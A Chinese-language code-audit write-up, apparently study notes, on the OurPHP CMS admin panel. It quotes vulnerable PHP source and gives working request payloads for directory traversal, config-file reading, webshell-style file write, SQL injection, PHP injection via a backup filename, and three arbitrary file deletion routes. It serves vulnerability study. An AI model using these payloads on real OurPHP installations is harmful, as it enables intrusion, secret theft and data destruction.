跟着Y4师傅学代码审计-OurPHP

文章发布时间:

最后更新时间:

写在前面

这是代码审计的第四篇OurPHP,最近实验作业ddl好多,整的心里边烦躁,静下心来看看代码

image-20221204233336537

漏洞分析

目录遍历漏洞

还是从后台模板开始看,随便点击一个模板看看url /client/manage/ourphp_filebox.php?path=user/css&dir

我们可以定位到对应的执行文件函数处

首先针对path变量

1
2
3
4
5
6
7
8
if(empty($_SESSION['ourphp_out']))
{
$file = listDirFiles('../../templates/'.$_GET['path']);
$file2 = '../../templates/'.$_GET['path'];
}else{
$file = listDirFiles('../../'.$_GET['path']);
$file2 = '../../'.$_GET['path'];
}

跟进listDirFiles函数,可以看到是一个常规的递归读取目录下的文件并返回所有的文件名集合。而前面并未对path变量作任何限制,所以存在目录遍历,然后看怎么回显至页面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function listDirFiles($dir)
{
$arr = array();
if (is_dir($dir)) {//如果是目录,则进行下一步操作
$d = opendir($dir);//打开目录
if ($d) {//目录打开正常
while (($file = readdir($d)) !== false) {//循环读出目录下的文件,直到读不到为止
if ($file != '.' && $file != '..') {//排除一个点和两个点
if (is_dir($file)) {//如果当前是目录
$arr[$file] = listDirFiles($file);//进一步获取该目录里的文件
} else {
$arr[] = $file;//记录文件名
}
}
}
}
closedir($d);//关闭句柄
}
return $arr;
}

这里就用到了dir的作用,也就是如果存在dir传参,就会根据不同的文件形式,包括...都作成列表展示在页面上

image-20221205235835409

那就很简单了,直接读一下配置文件对应目录(之前设置了一个口令)

1
path=../config/&dir

image-20221206000339703

任意文件读取

和上面类似,我们随便点一个文件看看传参

/client/manage/ourphp_filebox.php?path=../../templates/user/css/style.css&edit,很简单直接保证带着这两个参数,就能回显处任意文件内容

image-20221206000534621

1
path=../../config/ourphp_config.php&edit

image-20221206000942077

任意文件写入

接着模板的思路来,随便点一个模板进行编辑然后保存,url为/client/manage/ourphp_filebox.php?path=edit&ok,POST传参code和md

定位到对应代码处,可以看到这里首先会对code的内容以及md进行检验md2为safecode

1
'safecode' => 'uYeFBbFvWkT9i7FzcrCjknBKIBtXIMR4FvWkT9',	// 安全校验码

这块对md的检验还是很死的,但是我们可以配合前面的任意文件读方法来获取到。我们往下看。$_SESSION['ourphp_out']这个Session不为空的话,我们实际上是可以写马的,因为基本没有对code作过滤。因此只要在md[0]处写好文件名就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
if(isset($_GET['ok']))
{
if(empty($_POST['code']) || empty($_POST['md'])){
$list = '<h1 style="float:left; margin-top:30px; padding-bottom:30px; font-size:20px; width:100%; text-align:center;">不能为空呀!</h1>';
}
$md = explode("|", $_POST['md']);
$md2 = MD5($md[0].$ourphp['safecode']);
if($md[1] != $md2){
$list = '<h1 style="float:left; margin-top:30px; padding-bottom:30px; font-size:20px; width:100%; text-align:center;">验证不通过呀!</h1>';
}

$code = $_POST['code'];
if(get_magic_quotes_gpc())
{
$code = stripslashes($code);
}
$code = str_replace("<ourphp_", "<textarea", $code);
$code = str_replace("</ourphp_>", "</textarea>", $code);

if(empty($_SESSION['ourphp_out']))
{


if(stristr($code,"<?php") || stristr($code,"<%") || stristr($code,"language=\"php\"") || stristr($code,"language='php'") || stristr($code,"language=php") || stristr($code,"<?=") || stristr($md[0],".php") || stristr($md[0],".asp") || stristr($md[0],".aspx") || stristr($md[0],".jsp") || stristr($md[0],".htaccess") || stristr($md[0],".ini") || stristr($md[0],".user.ini"))
{
$list = '<h1 style="float:left; margin-top:30px; padding-bottom:30px; font-size:20px; width:100%; text-align:center;">不要提交违法代码!</h1>';
}else{

$filego = fopen($md[0],'w');
fwrite($filego,$code);
fclose($filego);

$list = '<h1 style="float:left; margin-top:30px; padding-bottom:30px; font-size:20px; width:100%; text-align:center;">编辑成功!</h1>';

}

}else{
if(stristr($md[0],".asp") || stristr($md[0],".aspx") || stristr($md[0],".jsp") || stristr($md[0],".htaccess") || stristr($md[0],".ini") || stristr($md[0],".user.ini"))
{
$list = '<h1 style="float:left; margin-top:30px; padding-bottom:30px; font-size:20px; width:100%; text-align:center;">不要提交违法代码!</h1>';
}else{

$filego = fopen($md[0],'w');
fwrite($filego,$code);
fclose($filego);

$list = '<h1 style="float:left; margin-top:30px; padding-bottom:30px; font-size:20px; width:100%; text-align:center;">编辑成功!</h1>';

}

}

}

这里再来探究一下$_SESSION['ourphp_out']是咋得到的,全局搜索可定位到

image-20221206003106665

跟入pw方法,参数均可控。这里我们可以看到这个字段不为空的条件就是两个检验值符合条件,同样配合任意文件读取可得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function pw($a,$b)
{
global $db,$ourphp;
session_start();
if ($a == $ourphp['validation'] && $b == $ourphp['safecode']){

$_SESSION['ourphp_out'] = "ourphp";

}else{

if(empty($_SESSION['ourphp_out']))
{
include 'ourphp_checkadmin.php';

}else{

session_start();

}

}
}
1
validation=831266&safecode=uYeFBbFvWkT9i7FzcrCjknBKIBtXIMR4FvWkT9

因此我们就可以在根目录写一个马

1
path=edit&ok&validation=831266&code=uYeFBbFvWkT9i7FzcrCjknBKIBtXIMR4FvWkT9 

image-20221206003819043

image-20221206003838823

SQL注入

广告管理处,随便点一个进行编辑,保存。路由信息为/client/manage/ourphp_adview.php?ourphp_cms=edit&id=1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
elseif ($_GET["ourphp_cms"] == "edit"){

if (!empty($_POST["OP_Adclass"])){
$OP_Adclass = implode(',',$_POST["OP_Adclass"]);
}else{
$OP_Adclass = '';
}

$query = $db -> update("`ourphp_ad`","`OP_Adcontent` = '".admin_sql($_POST["OP_Adcontent"])."',`OP_Adclass` = '".$OP_Adclass."',`time` = '".date("Y-m-d H:i:s")."'","where id = ".intval($_GET['id']));
$ourphp_font = 1;
$ourphp_class = 'ourphp_ad.php?id=ourphp';
require 'ourphp_remind.php';

}

这里可以看到如果传递了get参数outphp_cms为edit值,就会存在一个update语句,其中id因为会被转为整数我们没啥可利用的,关注POST传参OP_Adcontent值上,先跟入admin_sql方法。

这里可以看到里面就是简单的替换单引号

image-20221206085946479

以及OP_Adclass值更是没任何过滤,并且是由POST传参过来(传递一个数组)

首先就是我们可以回显出任意想要的数据

1
OP_Adclass[]=', OP_Adclass=version() #

image-20221206092236982

任意文件删除1

该网站还有一个数据库备份的功能,关注路由/client/manage/ourphp_bakgo.php

sink点如下,会对dfile里面的参数值进行删除,同时要满足filedeled值为1

image-20221206094428598

我们往前看有无干扰执行到这里的语句

  1. 对dir参数有一个验证操作

    image-20221206094821217

    实际上底下会去对目录中的文件进行计数($dfileNo),如果不为0的话将会干扰到后面的文件删除操作,但是注意到我们可以控制filedeled值,使得不进入循环。当然也可以dir随便传一个让其创建一个空目录,其中自然也就没有文件计数。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    //是否有多余的文件
    $dfileNo=0;
    $open=opendir($_POST["dir"]);
    $delhtml="";
    while($afilename=readdir($open) and !$_POST[filedeled]){
    $checked="";
    if(substr($afilename,0,strlen($_POST[filename]))==$_POST[filename]){
    $checked="checked";
    }
    if(is_file("$_POST[dir]/$afilename")){
    $delhtml.=tabledata("$afilename|".date("Y-m-d",filectime("$_POST[dir]/$afilename"))."|".num_bitunit(filesize("$_POST[dir]/$afilename"))."|<center><input name='dfile[$dfileNo]' type='checkbox' value='$_POST[dir]/$afilename' $checked></center>");
    $dfileNo++;
    }
    }

    //多余文件处理
    if($dfileNo){
    $_POST[filedeled]=1;
    fheader();
    echo tabletext("'$_POST[dir]/'中以下文件已存在,它们可能被覆盖或成为额外的文件。<br>您可以有选择地删除它们或返回上一步重新设定:","98%");
    echo tablestart("选择要删除的文件:","100%");
    echo tabledata("<strong>文件名</strong>|<strong>修改日期</strong>|<strong>大小</strong>|<center><strong>反选</strong><input type='checkbox' name='checkbox' value='' onclick='selrev();'></center>","31%|32%|21%|16%");
    echo $delhtml;
    echo tableend();
    echo "
    <script language='JavaScript'>
    function selrev() {
    with(myform) {
    for(i=0;i<elements.length;i++) {
    thiselm = elements[i];
    if(thiselm.name.match(/dfile\[\w+\]/)) thiselm.checked = !thiselm.checked;
    }
    }
    }
    </script>";
    fbutton('submit','dosubmit','删除并继续');
    fbutton('reset','doreset','重置');
    ffooter();
    exit;
    }
  2. 然后保证有back_type这个参数为partsave即可

    image-20221206094929649

  3. 再往上,有一个POST传参

    image-20221206095659351

    action参数需要满足databackup

  4. 在往上有个eval语句,跟入看一下

    image-20221206100638563

    首先是frameset_html(),需要控制参数framename值不让程序提前结束

    image-20221206100846421

    我们在根目录创建一个目录

    image-20221206095434915

    1
    filedeled=1&dfile[]=../../test/RacerZ&back_type=partsave&dir=../../function/backup/&action=databackup

任意文件写入2

还是看数据库备份功能,这里用户可控参数filename被直接进行了拼接到data中,然后调用writefile(),跟进

image-20221206114213224

这里就有一个文件写入操作,且可以看到后缀名为.php

image-20221206114357670

当然这个文件的内容由于同时也会出现在文件名中,所以是否能执行依赖于不同的操作系统

当然前面还要绕过那些exit影响的判断句,多了一个page判断

image-20221206115050231

1
2
filename=1; phpinfo(); //
&dir=../../function/backup/&action=databackup&page=1&back_type=partsave

任意文件删除2

Banner管理这里也支持删除功能,我们针对路由client/manage/ourphp_banner.php?ourphp_cms=del&id=2看下

OP_Adminpower不用管经过调试会满足条件;然后是outphp_rs[0]参数可以从数据库里取

image-20221206103709199

同时后台是提供了添加Banner的功能的,所以直接添加就好,对应会去执行

1
$db -> insert("`ourphp_banner`","`OP_Bannerimg` = '".$ourphp_xiegang."',`OP_Bannertitle` = '".admin_sql($_POST["OP_Bannertitle"])."',`OP_Bannerurl` = '".admin_sql($_POST["OP_Bannerurl"])."',`OP_Bannerlang` = '".admin_sql($_POST["OP_Bannerlang"])."',`time` = '".date("Y-m-d H:i:s")."',`OP_Bannerclass` = '".admin_sql($_POST["OP_Bannerclass"])."',`OP_Bannertext` = '".$ourphp_text."'","");

我们设置好OP_Bannerimg字段,这里先往后看

1
OP_Bannerlang=cn&OP_Bannertitle=a&OP_Bannertext%5B%5D=b&OP_Bannertext%5B%5D=c&OP_Bannertext%5B%5D=d&OP_Bannerimg=<exploit>&OP_Bannerurl=http%3A%2F%2F&OP_Bannerclass=0&submit=%E6%8F%90+%E4%BA%A4

这里还有一个需要满足的是查出来的OP_Webfile字段需要为2

image-20221206110210560

image-20221206104213220

这里我在后台定位到功能管理模块,同样可以修改,对应的参数值为OP_Webfile

image-20221206111128105

image-20221206111202830

之后就是可以利用了,后台修改对应模块内容即可

1
OP_Bannerlang=cn&OP_Bannertitle=a&OP_Bannertext%5B%5D=b&OP_Bannertext%5B%5D=c&OP_Bannertext%5B%5D=d&OP_Bannerimg=./function/uploadfile/../../test/RacerZ&OP_Bannerurl=http%3A%2F%2F&OP_Bannerclass=0&submit=%E6%8F%90+%E4%BA%A4

image-20221206113333978

通过Banner列表展示模块可以看到新插入的id值

image-20221206105944242

然后访问刚才的删除路由

1
client/manage/ourphp_banner.php?ourphp_cms=del&id=4

任意文件删除3

路由client/manage/ourphp_imgdel.php

image-20221206113722441

这个太简单了,直接删就行

1
url=./function/uploadfile/../../test/RacerZ

参考链接

https://ego00.blog.csdn.net/article/details/117818842

https://y4tacker.blog.csdn.net/article/details/115794004